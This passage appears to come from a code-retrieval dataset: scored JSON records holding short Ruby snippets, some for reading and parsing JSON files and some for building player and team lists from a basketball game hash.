"text": "def load_files()\n\t\tfile = File.read('database.json')\n\t\t\n\t\tdata = JSON.parse(file)\n \n data.each{ |hash|\n\n puts \"Player name: #{hash[\"name\"]}\"\n puts \"Folds: #{hash[\"folds\"]}\"\n puts \"Wins: #{hash[\"wins\"]}\"\n puts \"Loses: #{hash[\"loses\"]}\"\n puts \"Games played: #{hash[\"games_played\"]}\"\n puts\n }\n\n\n\tend",
"title": ""
},
{
"docid": "382c7c7b9197c6ec8422d0d43d36ef27",
"score": "0.5832261",
"text": "def read_data\n begin\n JSON.parse(read_file)\n rescue JSON::ParserError\n []\n end\n end",
"title": ""
},
{
"docid": "843e09267ed6d26ab322598499ff93b9",
"score": "0.5823356",
"text": "def read_json_folder(folder)\n quotes = []\n files = Dir[\"#{folder}/*.json\"]\n files.each do |file|\n puts \"Reading file #{file}\"\n quotes += read_json_quotes(file)\n end\n quotes\nend",
"title": ""
},
{
"docid": "45067bb7614e604f8d6709ff6ad05866",
"score": "0.582205",
"text": "def json\n @input ||= JSON.parse File.read(file_path)\n end",
"title": ""
},
{
"docid": "60169da4f0c7957910fd6c759921a78c",
"score": "0.58215994",
"text": "def read_json(path)\n file = File.read(path)\n data_hash = JSON.parse(file)\nend",
"title": ""
},
{
"docid": "b166b0aeb8dc318ec9265e0c9e59d622",
"score": "0.5817055",
"text": "def load_json\n Dir[json_path].sort.each do |f|\n types = self.class.load_from_json(f)\n container.add(*types, :silent)\n end\n container\n end",
"title": ""
},
{
"docid": "ffb98e70d82052c099b750e4e913a7c7",
"score": "0.58169734",
"text": "def json_bib()\n require 'json'\n return JSON.parse(File.read(JSON_path))\nend",
"title": ""
},
{
"docid": "b8916beec848d01bc25c8134d6101ffc",
"score": "0.58102715",
"text": "def parse_json(json, file = nil)\n\n # WARNING: This function deviates from the original!\n\n return if json.nil?\n\n @json_last_error = nil\n begin\n data = JSON.parse json\n rescue JSON::ParserError => e\n @json_last_error = e\n end\n\n if data.nil? && !@json_last_error.nil?\n validate_syntax(json, file)\n else\n data\n end\n\n end",
"title": ""
},
{
"docid": "b5e90a6622e2e7d27960307d5ced8d00",
"score": "0.57980335",
"text": "def looks_like_json? line\n !!(line =~ /^\\s*\\{/)\n end",
"title": ""
},
{
"docid": "ba4385af5decf30c07ba10cea06bc1e8",
"score": "0.5793896",
"text": "def parse_json\n matchers = JSON_PATTERN.match(script_content)\n return unless matchers\n\n matchers[:obj].scan(JSON_GROUP_PATTERN).each do |group|\n @data[json_key_alias(group.first)] = eval_json_value(group.last)\n end\n end",
"title": ""
},
{
"docid": "f49490b89bfa9797367dfd2bde0f9c09",
"score": "0.5783787",
"text": "def loadJsonDataAreaScanning(inputname)\n #need to check filename if it was json file\n filename = File.join(Rails.root, 'public','uploads', 'scores','areascanning','origin', inputname) \n f=File.read(filename) \n f_hash = JSON.parse(f) \n\t\td_hash=calculateMaxDistance(f_hash)\n done=generateJsonFile(d_hash)\n return done\n end",
"title": ""
},
{
"docid": "e8a8ce190642df3bd28042cb6571ae75",
"score": "0.5774946",
"text": "def parse_bundle_map(file)\n JSON.parse(File.read(file))\nend",
"title": ""
},
{
"docid": "52d3027239c7c8263cfe9f009e5669de",
"score": "0.57708406",
"text": "def read_and_verify\n if File.file?(@path + \"#{@name}.json\")\n file = File.read(@path + \"#{@name}.json\")\n @data = JSON.parse(file)\n true\n else\n # Return false if can't read file/doesn't exist\n false\n end\n end",
"title": ""
},
{
"docid": "b6a9e8b4271f36a61652e891c29a9d32",
"score": "0.5767365",
"text": "def validate_json text \n begin\n return JSON.parse text\n rescue JSON::ParserError\n raise \"JSON is not formatted properly.\\nTry validating it at JSONlint.com (Look out for missing braces and missing/extra commas)\\n File contents: #{text}\"\n end\nend",
"title": ""
},
{
"docid": "9cb31f58a82bc57347a168c7dffe8a80",
"score": "0.5757372",
"text": "def check_style_json(files, **options)\n check_style_impl(files, :json, **options)\n end",
"title": ""
},
{
"docid": "1e5eef556311b96e7e25b465f175db0a",
"score": "0.57449496",
"text": "def read_json(file)\n begin\n JSON.parse(File.read(file))\n rescue JSON::ParserError\n raise OcflTools::Errors::ValidationError, details: { \"E211\" => [\"#{file} is not valid JSON.\"] }\n rescue Errno::ENOENT\n # raise OcflTools::Errors::Error215, \"expected inventory file #{file} not found!\"\n raise OcflTools::Errors::ValidationError, details: { \"E215\" => [\"expected inventory file #{file} not found!\"] }\n # rescue Errno::EACCES Don't think we need to explicitly raise file permissions; let StdErr take it.\n rescue StandardError => e\n raise \"An unknown error occured reading file #{file}: #{e}\" # catch/encapsulate any FileIO issues\n end\n end",
"title": ""
},
{
"docid": "4e743aa0f06aa87d8a192d7eecc3af15",
"score": "0.57366",
"text": "def fetch_devices\n data = {'devices' => []} \n Dir.glob(File.join(@directory, 'Device*.json')).each do |file|\n jsonstr = File.read file\n return false if not jsonstr or jsonstr.blank?\n data['devices'] << JSON.parse(jsonstr)\n end \n data\n end",
"title": ""
},
{
"docid": "c705b0578b6b393643bdac07f62253cc",
"score": "0.5736231",
"text": "def json_data(json_filename)\n data = File.read(File.join(DATA_DIR, json_filename))\n return Yajl::Parser.parse(data)\nend",
"title": ""
},
{
"docid": "cca7e2d0a6fc7ecc0f1bc1eb3f805d23",
"score": "0.57336974",
"text": "def import_JSON_File (path)\r\n\r\n\tfile = File.open path\r\n\tdata = JSON.load file\r\n\tfile.close\r\n\r\n\tpalestras = []\r\n\r\n\tdata['data'].each { |nome| palestras.append Palestra.new nome }\r\n\r\n\treturn palestras\r\n\r\nend",
"title": ""
},
{
"docid": "13ee6aae510be5e7e26d6109b1019566",
"score": "0.57303154",
"text": "def get_results(file_json)\n json = File.read(file_json)\n @failures= JSON.parse(json)\n end",
"title": ""
},
{
"docid": "47b9e957398d9827d38ecab51a571e88",
"score": "0.57275003",
"text": "def load_json; end",
"title": ""
},
{
"docid": "4c1184ae6979475c9ccf4ef8fdecc18c",
"score": "0.5724738",
"text": "def parse_json(con, json, dt, forg, frepo)\n h = JSON.parse json\n f = 0\n e = 0\n full_name = h['repo']['name']\n if repo_hit(full_name, forg, frepo)\n eid = h['id']\n if $json_out\n prt = JSON.pretty_generate(h)\n ofn = \"jsons/#{dt.to_i}_#{eid}.json\"\n File.write ofn, prt\n end\n if $db_out\n $ev[Thread.current.object_id] = h\n e = write_to_pg(con, h)\n $ev.delete(Thread.current.object_id)\n end\n puts \"Processed: '#{dt}' event: #{eid}\" if $debug >= 1\n f = 1\n end\n [f, e]\nend",
"title": ""
},
{
"docid": "153dbbd50fadcbbc6bbddfdaa510c96a",
"score": "0.5715296",
"text": "def scanPoIJson(json)\n poiPropName = getConf(:cwPoIName)\n json[\"features\"].each{|fjson|\n feature = OsmFeature.new().scanJson(fjson) ;\n if(feature.geoType() == \"Point\" && feature.hasProperty(poiPropName))\n addPoI(OsmPoI.new().scanJson(fjson)) ;\n end\n }\n end",
"title": ""
},
{
"docid": "c55b738c332caaeb62d290a2cbf3a048",
"score": "0.57081354",
"text": "def read_json(path)\n return JSON.parse(File.read(path).rstrip)\nend",
"title": ""
},
{
"docid": "c55b738c332caaeb62d290a2cbf3a048",
"score": "0.57081354",
"text": "def read_json(path)\n return JSON.parse(File.read(path).rstrip)\nend",
"title": ""
},
{
"docid": "a34654bb482e9157978312bfe2cb736d",
"score": "0.57008517",
"text": "def load_json_file\n @json_array = Techbit.all\n end",
"title": ""
},
{
"docid": "2c6c2815f1ef857f3ce456865b425294",
"score": "0.5692904",
"text": "def read\n return unless File.file?(@path + \"#{@name}.json\")\n file = File.read(@path + \"#{@name}.json\")\n @data = JSON.parse(file)\n end",
"title": ""
}
] |
4adf50c751dd51efc09af5a0da0b598c | Return => Array of player Hashes | [
{
"docid": "e74a08b1fd3cd982eb80f8314717dfca",
"score": "0.72774804",
"text": "def all_players\n home_players = game_hash[:home][:players] # Array of player Hashes\n away_players = game_hash[:away][:players] # Array of player Hashes\n home_players + away_players # Array of player Hashes\nend",
"title": ""
}
] | [
{
"docid": "bfd5673a95440407394182f21a2316f0",
"score": "0.75814635",
"text": "def players\n # players_array = []\n # iterating through game hash and returning a list of all my players\n game_hash.map do |key, value|\n value[:players]\n end.flatten\n\nend",
"title": ""
},
{
"docid": "f64a7510127bce8c3f347d11e360ae87",
"score": "0.74936366",
"text": "def player_data\n players = []\n game_hash.each do |home_away, team_details|\n players << team_details[:players]\n end\n return players.flatten\nend",
"title": ""
},
{
"docid": "dff073066bda274806671d3dfcdd064a",
"score": "0.7295089",
"text": "def get_players\n players = []\n game_hash.each do |teams, team_data|\n # players.push(team_data[:players])\n players << team_data[:players]\n end\n players.flatten\nend",
"title": ""
},
{
"docid": "74498112daba69c9716f3a63eac952da",
"score": "0.7261811",
"text": "def get_players\n load_firebase\n # @player_list = Hash.new\n @player_list = Array.new\n @json_object.each do |key, value|\n @player_list << value\n end\n @player_list\n end",
"title": ""
},
{
"docid": "52b78cb5a79bae4e89a6d8c04fe9e83d",
"score": "0.707925",
"text": "def players\n @players.select(&:playing)\n end",
"title": ""
},
{
"docid": "26c050ca3915e43df9c3fc4d833fe25b",
"score": "0.7029646",
"text": "def players; [@hunter, @prey] end",
"title": ""
},
{
"docid": "c0964ff99736e6410fb54e80018c69b4",
"score": "0.7005266",
"text": "def players\n @players ||= []\n end",
"title": ""
},
{
"docid": "c0964ff99736e6410fb54e80018c69b4",
"score": "0.7005266",
"text": "def players\n @players ||= []\n end",
"title": ""
},
{
"docid": "e762ff6319722ecf34ba855b2d2c362c",
"score": "0.6992358",
"text": "def get_all_players\n ## Version 2.0 ##\n\n all_players = []\n\n # Same steps, but since we don't care about team, let's use .values to just\n # iterate over the team_data:\n game_hash.values.each do |team_data|\n team_data[:players].each do |player|\n all_players << player\n end\n end\n\n all_players\nend",
"title": ""
},
{
"docid": "6d092b41943dd69b518014f7f0f53622",
"score": "0.694393",
"text": "def player_data_by_team(team)\n players = []\n if team == game_hash[:home][:team_name]\n players << game_hash[:home][:players]\n else\n players << game_hash[:away][:players]\n end\n return players.flatten\nend",
"title": ""
},
{
"docid": "4d1e0b0f4d6a4b9f3ffa663a24aeb8a8",
"score": "0.6891043",
"text": "def get_all_players\n ## Version 5.0 ##\n\n # We can just chain .flatten onto the end of map.\n # By doing this, we can get rid of all_players.\n game_hash.values.map do |team_data|\n team_data[:players]\n end.flatten\nend",
"title": ""
},
{
"docid": "c2613f26584c9f8f9ae0fe37a07183c5",
"score": "0.68664205",
"text": "def players_names_array \n player_names = []\n game_hash.each do |place,team|\n team.each do |attribute, data|\n next unless attribute == :players\n data.each do |player| \n player_names.push(player[:player_name])\n end\n end\n end\n player_names\nend",
"title": ""
},
{
"docid": "703102594c831e9fbb8af5f925b3981a",
"score": "0.683455",
"text": "def players\n return [User.find_by(id: player1_id), User.find_by(id: player2_id),\n User.find_by(id: player3_id), User.find_by(id: player4_id)].compact\n end",
"title": ""
},
{
"docid": "eeea7777658a37953c656f7f0426025f",
"score": "0.6825856",
"text": "def player_collection \n all_players = [];\n game_hash.each_pair { |h_or_a, team_info|\n team_info[:players].map { |player|\n player[:location] = h_or_a;\n player[:team_name] = game_hash[h_or_a][:team_name];\n player[:team_colors] = game_hash[h_or_a][:colors];\n all_players << player;\n }\n }\n all_players; \nend",
"title": ""
},
{
"docid": "5b0a5c7de4d4a4aef94a15f89777d058",
"score": "0.6808339",
"text": "def players\n @players || []\n end",
"title": ""
},
{
"docid": "315689e0470e5ab47b97e3af2f70d621",
"score": "0.6805959",
"text": "def objects\n [@player] + @map.objects\n end",
"title": ""
},
{
"docid": "f892b1c027bc65466f1ae90bed7a9e44",
"score": "0.67663956",
"text": "def entries_to_players\n\t\tplayers = []\n\t\t@entries.each do |entry|\n\t\t\tif entry.enabled\n\t\t\t\tplayers << entry.player\n\t\t\tend\n\t\tend\n\t\tplayers\n\tend",
"title": ""
},
{
"docid": "5d90add85d8392303ac07ae1008c5e17",
"score": "0.67559016",
"text": "def players\n (@players ||= []).map{|id| W.find_player id}.freeze\n end",
"title": ""
},
{
"docid": "824853f297729209453594061f2d13e1",
"score": "0.67408377",
"text": "def player_ids\n\t\tmy_ids = []\n\t\tplayers.each { |player|\n\t\t\tmy_ids << player.id\n\t\t}\n\t\treturn my_ids\n\tend",
"title": ""
},
{
"docid": "10b7313777694a02f830fa80fd2c2506",
"score": "0.6728157",
"text": "def get_all_players\n ## Version 2.0 ##\n\n # Same steps, but with a slight tweak...\n all_players = {}\n\n # We don't need team. We only want to loop through the data.\n # So, why don't we use .values to and then just loop through the values\n # in the hash!\n game_hash.values.each do |team_data|\n all_players.merge! team_data[:players]\n end\n\n all_players\nend",
"title": ""
},
{
"docid": "619cb1492e111c7d22028a5b1522e959",
"score": "0.67054915",
"text": "def players\n # Build two arrays of players\n cur_players = teams.map do |team|\n team.wattball_players\n end\n\n # Combine the arrays\n cur_players.flatten! \n end",
"title": ""
},
{
"docid": "223832622f36fbfa79c3b1e520f67279",
"score": "0.6661376",
"text": "def player_2_array(user_hash)\n\t\tplayer_1 = []\n\t\tuser_hash.each do |position,value|\n\t\t\tif value == \"O\"\n\t\t\t\tplayer_1 << position\n\t\t\tend\n\t\tend\n\t\treturn player_1\n\tend",
"title": ""
},
{
"docid": "9aec8d6bd8a53b9a8d02a416e99f3505",
"score": "0.6644709",
"text": "def player_1_array(user_hash)\n\t\tplayer_1 = []\n\t\tuser_hash.each do |position,value|\n\t\t\tif value == \"X\"\n\t\t\t\tplayer_1 << position\n\t\t\tend\n\t\tend\n\t\treturn player_1\n\tend",
"title": ""
},
{
"docid": "2d38c8782132b40d8f4f6bdcaf351a8d",
"score": "0.6577965",
"text": "def hash_to_arr(player)\n hash_to_array = []\n player.table.each do |x,y|\n hash_to_array << \"#{x}#{y}\"\n end\n create_table(hash)\nend",
"title": ""
},
{
"docid": "b1e0ed7018713bce612615c8c267b10d",
"score": "0.6563016",
"text": "def players\n gp = Player.where :instance_id => self.id\n gp.map { |p| p.user_id }\n end",
"title": ""
},
{
"docid": "3c337749c663895ba1c2336c78b31c55",
"score": "0.6544097",
"text": "def players\n results = get_parts(\"status\", 2..-1)\n results.map do |player|\n player = player.split(\" \", 3)\n {\n :name => player[2][1..-2],\n :ping => player[1].to_i,\n :score => player[0].to_i\n }\n end\n end",
"title": ""
},
{
"docid": "178d02d5170f63e317d83d7a643cebc1",
"score": "0.6508789",
"text": "def get_players\n\n end",
"title": ""
},
{
"docid": "a8b38cb55d2183fda35e6e91237c3af2",
"score": "0.64688575",
"text": "def get_all_players\n ## Version 4.0 ##\n\n all_players = []\n\n game_hash.values.each do |team_data|\n all_players << team_data[:players]\n end\n # This pattern of going through each value and then plucking out just a single\n # piece of the data is very, very common.\n # What we are doing is what .map was built for.\n\n ## Example of .map ##\n instructors = [\n { name: 'Lyn', cats: true },\n { name: 'Princeton', cats: false },\n { name: 'Maddie', cats: true }\n ]\n # Goal, get an array that looks like this:\n # ['Lyn', 'Princeton', 'Maddie']\n # This can be accomplished by .map:\n instructor_names = instructors.map do |instructor|\n instructor[:name]\n end\n # The result of map is the data you returned in each iteration.\n # Map is very cool in that you can do more than just pick data to return.\n # You can also transform the data!\n # For example, doubling the number in this array:\n x = [1, 2, 3, 4]\n doubled_x = x.map do |num|\n num * 2\n end\n # doubled_x == [2, 4, 6, 8]\n # Or even more fun, deciding what to return based on the data you are looping over:\n meow = instructors.map do |instructor|\n if instructor[:cats]\n instructor[:cats] = \"😸\"\n else\n instructor[:cats] = \"😿\"\n end\n instructor\n end\n # meow == [{ name: \"Lyn\", cats: \"😸\" }, { name: \"Princeton\", cats: \"😿\" }, { name: \"Maddie\", cats: \"😸\" }]\n\n # Knowing how map works, we can now rewrite our .each but with a map instead\n # and get rid of the initial empty array, all_players = [], because .map\n # will now return the same resulting value:\n all_players = game_hash.values.map do |team_data|\n # We can also get rid of the shovel as we don't need to put them into an array.\n team_data[:players]\n end\n\n all_players.flatten\nend",
"title": ""
},
{
"docid": "90263b98c220b7bde2dfdfd989d0b1c5",
"score": "0.646756",
"text": "def player_numbers (name=\"Brooklyn Nets\")\n n = []\n game_hash.each do |location, team_data|\n if(team_data[:team_name] == name)\n team_data[:players].each do |key, data|\n n << data[:number]\n end\n end\n end\n\n n\nend",
"title": ""
},
{
"docid": "903ac28b1491449910bdfc2926f0a102",
"score": "0.64675593",
"text": "def get_moves_as_hash by_player # {{{\n moves = []\n self.moves.find(:all,:conditions=>{:by_player=>by_player}).each do |m|\n moves.push Hash[:x=>m.x,:y=>m.y]\n end\n moves\n end",
"title": ""
},
{
"docid": "4e30f13e68d1cebc20256e0fcecfa736",
"score": "0.64657193",
"text": "def players\n [player_one, player_two].compact\n end",
"title": ""
},
{
"docid": "26863d159da345d847569dba7bff06eb",
"score": "0.6459259",
"text": "def all_players\n home_team = game_hash.fetch(:home).fetch(:players)\n away_team = game_hash.fetch(:away).fetch(:players)\n return home_team + away_team\nend",
"title": ""
},
{
"docid": "9ca7543eaf786b53ff4931f2711684d5",
"score": "0.6453396",
"text": "def players\n all_players = {}\n game_hash.each do |home_or_away, team_stats|\n all_players.merge!(team_stats[:players])\n end\n all_players\nend",
"title": ""
},
{
"docid": "c590b43f6f542ba661ae125499a658d6",
"score": "0.6442804",
"text": "def get_all_players\n ## Version 3.0 ##\n\n all_players = []\n\n game_hash.values.each do |team_data|\n # Maybe Ruby can let us use shovel (<<) and it will be able to combine\n # the arrays for us?\n all_players << team_data[:players]\n end\n\n\n # Nope. Our data now looks like this:\n # [\n # [ { player }, { player }, ... ],\n # [ { player }, { player }, ... ]\n # ]\n # But... there is actually a neat method you can use to convert nested arrays\n # into a single array!\n # I can't quite remember the name, so let's look it up.\n # If you Google \"ruby array methods\", you'll find this doc page:\n # https://ruby-doc.org/core-2.2.0/Array.html\n # See if you can find the method I'm talking about...\n # ...\n # Back? Did you find it?\n # It's .flatten\n # https://ruby-doc.org/core-2.2.0/Array.html#method-i-flatten\n all_players.flatten\nend",
"title": ""
},
{
"docid": "359490c662d867a01da85ce6ea34c9a4",
"score": "0.64411795",
"text": "def get_sorted_players(id)\n # first makes a hash map, sorts said hash map by seed, then prints in order of that hash.\n player_hash = Hash.new()\n Dir.glob(\"#{get_tourney_dir(id)}/*.record\") do |filename|\n File.open(\"#{filename}\", \"r\") do |f|\n fields = f.read.split(\": \")\n player_hash[fields[1].sub(/\\n.*$/,\"\").capitalize] = fields[3].sub(/\\D+$/,\"\").to_i\n end\n end\n # now sort the hash then flatten the array\n sorted_arr = player_hash.sort_by{|k,v| -v}.flatten\n # lastly remove the values from the list, leaving only keys (names)\n sorted_names = Array.new()\n sorted_arr.each do |playername|\n sorted_names << playername if sorted_arr.find_index(playername) % 2 == 0\n end\n return sorted_names\nend",
"title": ""
},
{
"docid": "2be9bf3207139b820ddf35d40cd1c23c",
"score": "0.6426356",
"text": "def plays\n return @plays_array\n end",
"title": ""
},
{
"docid": "6692aec081bbd62110529ebf18c23ba1",
"score": "0.63918847",
"text": "def players\n #merge list of players\n game_hash[:home][:players].merge(game_hash[:away][:players])\nend",
"title": ""
},
{
"docid": "aab7e504417825ece5cddd5b9e8f71d5",
"score": "0.6378102",
"text": "def players\n @a = Array.new\n @a << east \n @a << south\n @a << west\n @a\n end",
"title": ""
},
{
"docid": "00aea36b505ec0887adbf088b23a7888",
"score": "0.6373683",
"text": "def player_numbers(name_of_team)\n #built an empty array called numbers\n numbers = []\n # game_hash.each do |team, random| iterates over the hash to return all player numbers\n game_hash.each do |team, random|\n if name_of_team == game_hash[team][:team_name]\n game_hash[team][:players].each do |name, stats|\n numbers.push(stats[:number])\n end\n end\n end\n return numbers\nend",
"title": ""
},
{
"docid": "09e095d5e85d1c5934f4e1e30916a39e",
"score": "0.6371817",
"text": "def players\n game_hash[:away][:players].concat(game_hash[:home][:players])\n \nend",
"title": ""
},
{
"docid": "72f2c2948b631cd989e7649c85ed4245",
"score": "0.6361263",
"text": "def player_numbers(team_name)\n #returning an array of all the player numbers for each team\n arr = [] \n game_hash.each do |location, team|\n if team[:team_name] == team_name\n team[:players].each do |player_name, player_info|\n arr << player_info[:number]\n end\n end\n end\n arr\nend",
"title": ""
},
{
"docid": "e27124ba4da8720596c3a210d418d40f",
"score": "0.63440967",
"text": "def all_players_for_a_team(team_name, game)\n player_names = []\n game[:home_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:home_team][:team_name] == team_name\n end\n game[:away_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:away_team][:team_name] == team_name\n end\n player_names\nend",
"title": ""
},
{
"docid": "10421eccf4c3f7a365bd2ebcb3599523",
"score": "0.63196945",
"text": "def merged_players\n game_hash[:home][:players].concat(game_hash[:away][:players])\n end",
"title": ""
},
{
"docid": "83015b2a71cf1ff6f975bcca25cbee89",
"score": "0.63144517",
"text": "def all_players \n game_hash[:home][:players] + game_hash[:away][:players]\nend",
"title": ""
},
{
"docid": "5c977e7eb9e949c0f2b704e11bbc2077",
"score": "0.63097245",
"text": "def player_numbers(team_name)\n array_of_jerseys = []\n one_team_stats(team_name)[:players].each do |player, stats|\n array_of_jerseys << stats[:number]\n end\n array_of_jerseys\nend",
"title": ""
},
{
"docid": "cdac3317842e86aba73ba7de6b3063b5",
"score": "0.6304286",
"text": "def player_stats(player_name)\n player_stats = []\n game_hash.collect do |team_key, team_value|\n team_value[:players].each do |stats|\n if stats[:name] == player_name\n stats.delete(:name)#deletes name to keep in same formart ask for in test.\n player_stats = stats\n end\n end\n end\n player_stats\nend",
"title": ""
},
{
"docid": "775a2959d53f8d16b79bed7ebe80608e",
"score": "0.63009197",
"text": "def player_numbers (team_name)\n player_number_array = []\n game_hash.each do |team, all_info_hash|\n if all_info_hash[:team_name] == team_name\n all_info_hash[:players].each do |player|\n player.each do |key, value|\n if key == :number\n player_number_array << value\n end\n end\n end\n end\n end\n player_number_array\nend",
"title": ""
},
{
"docid": "2fdff96e855bc09e4c84aec935d486a1",
"score": "0.6295949",
"text": "def player_matches(player, playerdiv)\n result = Match.joins(:results).where(:results => {:player_id => player}).where(:division_id => playerdiv)\n @player_matches = Array.new\n result.each do |m|\n @player_matches << m.id\n end\n return @player_matches\n end",
"title": ""
},
{
"docid": "3602e967a4ee2979e6642e7596ecb4e1",
"score": "0.62890744",
"text": "def player_names\n self.players.pluck(:username).join(\", \")\n end",
"title": ""
},
{
"docid": "5054e8f359ba7cec6795b3afa782dbb8",
"score": "0.62838984",
"text": "def players\n players_in_signup = []\n player_ids = self.signups.map {|sign| sign.player_id}\n User.all.select do |user|\n if player_ids.any?(user.id)\n players_in_signup << user\n end\n end\n players_in_signup.uniq\n end",
"title": ""
},
{
"docid": "e8dc5c52d1d7ff7aa4a91b959a050bca",
"score": "0.62701035",
"text": "def player_numbers(team_name)\n result = []\n game_hash.each do |side,team|\n if team[:team_name] == team_name\n team.each do |specs, info|\n next unless specs == :players\n\n info.each do |player|\n result.push(player[:number])\n end\n end\n end\n end\n result\nend",
"title": ""
},
{
"docid": "0e47f30d94b64670b56155285363a352",
"score": "0.6268089",
"text": "def players\n users\n end",
"title": ""
},
{
"docid": "716a9c4cf916beb0fc3ba38e7ba41305",
"score": "0.62463194",
"text": "def players\n go_fish.players\n end",
"title": ""
},
{
"docid": "9c1b298386540da5cab89d911ddaefa9",
"score": "0.6243905",
"text": "def team_names\n fin_arr = []\n fin_arr << game_hash[:home][:team_name]\n fin_arr << game_hash[:away][:team_name]\n fin_arr\nend",
"title": ""
},
{
"docid": "3dd0cdeacb36b21df9b0191e55db23e5",
"score": "0.62374085",
"text": "def get_players\n all_players = consume_player_data\n delete_id_column(all_players)\n end",
"title": ""
},
{
"docid": "bc1472b549bb602f15ff46a54ad1e4c6",
"score": "0.6235946",
"text": "def team_names()\n result = []\n game_hash.each do |side,team|\n result.push(team[:team_name])\n end\n result\nend",
"title": ""
},
{
"docid": "a973fe79505beee6c331b6f04894ded0",
"score": "0.62340105",
"text": "def team_players\n Player.all\n end",
"title": ""
},
{
"docid": "e6360f7cffe68ffbefceda7b0608b6a3",
"score": "0.6217338",
"text": "def get_player_hash(id)\n output = {}\n file_array = []\n File.open(\"#{get_tourney_dir(id)}/playerindex\", \"r\") do |f|\n file_array = f.read.split\n end\n file_array.each_with_index do |name, index|\n output[file_array[index]] = file_array[index+1] if index % 2 == 0\n end\n puts output\n return output\nend",
"title": ""
},
{
"docid": "4ee9dcaafe346574bf0f4a0297a580f5",
"score": "0.621212",
"text": "def team_names\n teams = []\n teams << game_hash[:home][:team_name]\n teams << game_hash[:away][:team_name]\n return teams\nend",
"title": ""
},
{
"docid": "edeac32641338a4939dc36e7d447515c",
"score": "0.62056285",
"text": "def home_team_players\n home_team_players = game_hash[:home][:players]\nend",
"title": ""
},
{
"docid": "d822783eda8fa5cb9996eb32a5135c94",
"score": "0.6201949",
"text": "def player_numbers(team_name)\n jersey_numbers = []\n \n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if team_name == value[:team_name]\n jersey_numbers << element[:number]\n end\n end\n end\n jersey_numbers\nend",
"title": ""
},
{
"docid": "bff7a0fdb885bc061664ecaf42601b17",
"score": "0.6184712",
"text": "def player_numbers(team_name)\n player_number = []\n game_hash.each do |place, team|\n if team[:team_name] == team_name \n team[:players].each do |player|\n player_number<< player[:number]\n end\n end\n end\n player_number\n end",
"title": ""
},
{
"docid": "b4c0ef94bea4cbab5501967a23aa7029",
"score": "0.618325",
"text": "def team_names\n # built an empty array called teams\n teams = []\n # game_hash.each do |team, random| iterates over the hash to return all of the team_names\n game_hash.each do |team, random|\n teams.push(game_hash[team][:team_name])\n end\n return teams\nend",
"title": ""
},
{
"docid": "ded3f1591c2d5e5a37683c80e150a258",
"score": "0.6182548",
"text": "def player_numbers (team_name)\n all_jersies = [];\n lookup_by_team(team_name)[:players].map { |player|\n all_jersies << player[:number];\n }\n all_jersies; \nend",
"title": ""
},
{
"docid": "a618bfcfecc0f0ea30eff6716f99c688",
"score": "0.6181926",
"text": "def player_numbers(team_name)\n result = []\n game_hash.each do |team, about|\n if team_name == about[:team_name]\n about[:players].each do |name, stats|\n result << stats[:number]\n end\n end\n end\n result\nend",
"title": ""
},
{
"docid": "06537e7903cc2f7a43aa940580dc2c1b",
"score": "0.61798626",
"text": "def team_names\n new_array = []\n new_array<< game_hash[:home][:team_name]\n new_array<< game_hash[:away][:team_name]\n return new_array\nend",
"title": ""
},
{
"docid": "fb2a2ccc7fb740998eba7d50817b1e0d",
"score": "0.6174873",
"text": "def away_players\n game_hash[:away][:players]\nend",
"title": ""
},
{
"docid": "b8cc4219fe6133c19b603e140fee2202",
"score": "0.61669916",
"text": "def players\n game_hash[:home][:players].merge(game_hash[:away][:players])\nend",
"title": ""
},
{
"docid": "4c48929b35d34868f71aaf223924e5b0",
"score": "0.6163713",
"text": "def player_numbers(user_team_name)\n numbers = []\n game_hash.each do |k, team|\n if team[:team_name] == user_team_name\n team[:players].each do |player|\n numbers.push(player[:number])\n end\n end\n end\n numbers\nend",
"title": ""
},
{
"docid": "d7d2e05298b828185780378cc0ad5f1d",
"score": "0.61601037",
"text": "def player_nums(team, hashketball)\r\n sym = team.to_sym\r\n player_numbers = []\r\n \r\n hashketball[sym][:players].each_value do |x|\r\n player_numbers << x[:number]\r\n end\r\n player_numbers\r\nend",
"title": ""
},
{
"docid": "7d6f4d76972765a4228e052f1676a082",
"score": "0.6156842",
"text": "def raw_players_and_stats(data)\n # Need to put team_players_members inside an array to group the 2 team arrays together\n all_players_stats = []\n \n data.each_pair do |team, team_stats|\n team_stats.each_pair do |team_players, team_players_members|\n \n if team_players == :players \n \tall_players_stats << team_players_members \n end\n \n end\n end\n all_players_stats\nend",
"title": ""
},
{
"docid": "ae679ee62291ac5d8baab7b97e0d1747",
"score": "0.6155702",
"text": "def get_all_players\n ret_val = {}\n pr_file = File.expand_path('../../tmp/wiki_pr.json', __FILE__)\n if File.exists?(pr_file)\n ret_val = JSON.parse(File.read(pr_file))\n else\n grab_ranking_links.each do |link|\n ret_val.merge!(get_players_from_link(link))\n end\n File.open(pr_file, \"w\") do |f|\n f.write(ret_val.to_json)\n end\n end\n ret_val\n end",
"title": ""
},
{
"docid": "f694455a8d7266b3a77cec350f8dbd3a",
"score": "0.6137034",
"text": "def team_names\n arrayOfTeamNames = [] #initialize new hash\n arrayOfTeamNames << game_hash[:home][:team_name]\n arrayOfTeamNames << game_hash[:away][:team_name] #shovel it with the data\nend",
"title": ""
},
{
"docid": "07d6ae099546f8de7023c1d64c4fe598",
"score": "0.6132324",
"text": "def create_player_hash\n @ids.each do |f|\n hash = { id: f, name: Faker::Name.first_name, dice_count: 5, hand: Dice.new(6, 5, true).roll, created_at: Time.now, updated_at: nil }\n @players.push(hash)\n end\n end",
"title": ""
},
{
"docid": "2963f0f715389983c58a53116582a38f",
"score": "0.61315954",
"text": "def player_numbers(t_name)\narr = []\ngame_hash.collect do |key, value|\nif game_hash[key].values.include?(t_name)\nvalue[:players].collect do |key2, value2|\n# puts value2\narr << value2[:number]\nend\nend\nend\narr\nend",
"title": ""
},
{
"docid": "ee968208128ba0082ed0cd8328f009d9",
"score": "0.612684",
"text": "def home_players\n game_hash[:home][:players]\nend",
"title": ""
},
{
"docid": "35385c27fb3a04111f8e3ee5feb0fff9",
"score": "0.61245936",
"text": "def all_players\n instance_variables.map { |var| instance_variable_get(var) }.reduce([]) { |acc, team| acc + team.players }\n end",
"title": ""
},
{
"docid": "6579e9795e423f5bd854d286fb4d344d",
"score": "0.61236775",
"text": "def list_players(ws)\n @redis.keys(\"*\") do |keys|\n keys.each do |key|\n @redis.get key do |data|\n ws.send data\n end\n end\n end\n end",
"title": ""
},
{
"docid": "fb646054f67b07b8a2cd82fc8e95c2c9",
"score": "0.6121673",
